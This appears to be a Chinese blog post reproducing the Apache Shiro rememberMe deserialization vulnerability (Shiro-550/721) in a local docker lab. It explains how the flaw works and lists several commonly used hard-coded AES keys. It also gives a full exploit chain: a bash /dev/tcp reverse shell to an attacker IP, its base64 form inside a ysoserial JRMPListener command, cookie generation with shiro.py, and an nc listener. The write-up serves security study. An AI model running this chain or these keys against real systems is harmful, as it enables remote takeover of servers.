最近也是看shiro漏洞比較多,所以自己也在本地復現了一下,拿出來與大家一起分享
0x00 關於Apache Shiro
Apache shiro是一個Java安全框架,提供了認證、授權、加密和會話管理功能,為解決應⽤安全提供了相應的API:
認證-⽤用戶身份識別,常被稱為用戶”登錄”
授權-訪問控制
密碼加密-保護或隱藏數據防止被偷窺
會話管理-用戶相關的時間敏感的狀態
0x01 環境搭建
漏洞版本<=1.2.4,使用docker搭建
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
訪問80端口即可訪問漏洞環境
0x02 所需工具
(1)攻擊機kali(192.168.10.101)
(2)centos7靶機(192.168.10.105)
(3)docker環境
(4)shiro.py利用腳本
(5)ysoserial.jar(java反序列化利用工具)
0x03 漏洞原理
從官方的 issue 上來看,存在幾個重要的點:
- rememberMe cookie
- CookieRememberMeManager.java
- Base64
- AES
- 加密密鑰硬編碼
- Java serialization
Shiro550:
shiro≤1.2.4版本,默認使⽤了CookieRememberMeManager,由於AES使用的key泄露,導致反序列化的cookie可控,從而引發反序列化攻擊。(理論上只要AES加密鑰泄露,都會導致反序列化漏洞)
整個漏洞簡單的cookie處理流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化。除了找到相關的參數(默認rememberMe)以外,還需要結合如下因素:
shiro在1.2.4版本之前, AES的模式為CBC, IV是隨機生成的,並且IV並沒有真正使用起來。所以整個AES加解密過程的key就很重要了,正是因為AES使用默認的KEY/常見的KEY/KEY泄露導致反序列化的cookie可控,從⽽引發反序列化漏洞。
常見的key如下:
kPH+bIxk5D2deZiIxcaaaA==(1.2.4默認key) 2AvVhdsgUs0FSA3SDFAdag== 4AvVhmFLUs0KTA3Kprsdag== 3AvVhmFLUs0KTA3Kprsdag== wGiHplamyXlVB11UXWol8g== Z3VucwAAAAAAAAAAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA== ZUdsaGJuSmxibVI2ZHc9PQ== 1QWLxg+NYmxraMoxAXu/Iw==
有時候可能存在未知key的情況,那么可以采取 Shiro-721 的報錯邏輯來進⾏遍歷key(前提是正常登錄得到一個rememberMe的值):
Shiro721:
rememberMe cookie通過AES-128-CBC模式加密,易受到Padding Oracle攻擊。可以通過結合有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精⼼制作rememberMe來進⾏反序列化攻擊。
Tip:可以結合JRMP gadget使⽤用,可以⼤大幅減少生成序列化數據的長度,同時在1.2.4版本后,shiro已經更換 AES-CBC AES-CBC 為 AES-GCM AES-GCM ,無法再通過Padding Oracle遍歷key。
0x04 漏洞演示
我們搭建好環境就是這樣一個界面
然后輸入用戶名,密碼,勾選Remember Me選項
用burp抓包,然后重放一下,go
發現返回包中有rememberMe=deleteMe的字樣(這是shiro漏洞的標志)
說明存在shiro漏洞
我們先得知道他所用的key是啥,有一個工具很好用,用它可以在dnslog上成功打出key
ps:shiro.py腳本中默認用的是"KPH......"這個key,若打出的key不同,可以修改
然后我們來構造payload來進行反彈shell的操作
寫好反彈shell的命令
bash -i >& /dev/tcp/192.168.10.101/666 0>&1
然后轉換成加密后的指令(去這個網站http://www.jackson-t.ca/runtime-exec-payloads.html)
將指令合成為一個java的監聽指令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
運行它開啟java一個監聽端口
利用腳本向java發送請求生成poc
python shiro.py 192.168.10.101:6666
然后先在kali上開啟一個監聽
nc -lvp 666
然后將生成的rememberMe=*******放到發送包的Cookie中
這時成功反彈了shell
ps: shiro.py 和ysoserial.jar要放在同一路徑下
參考:http://vlambda.com/wz_wAgsAcgbFI.html
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://blog.csdn.net/weixin_38166689/article/details/101154245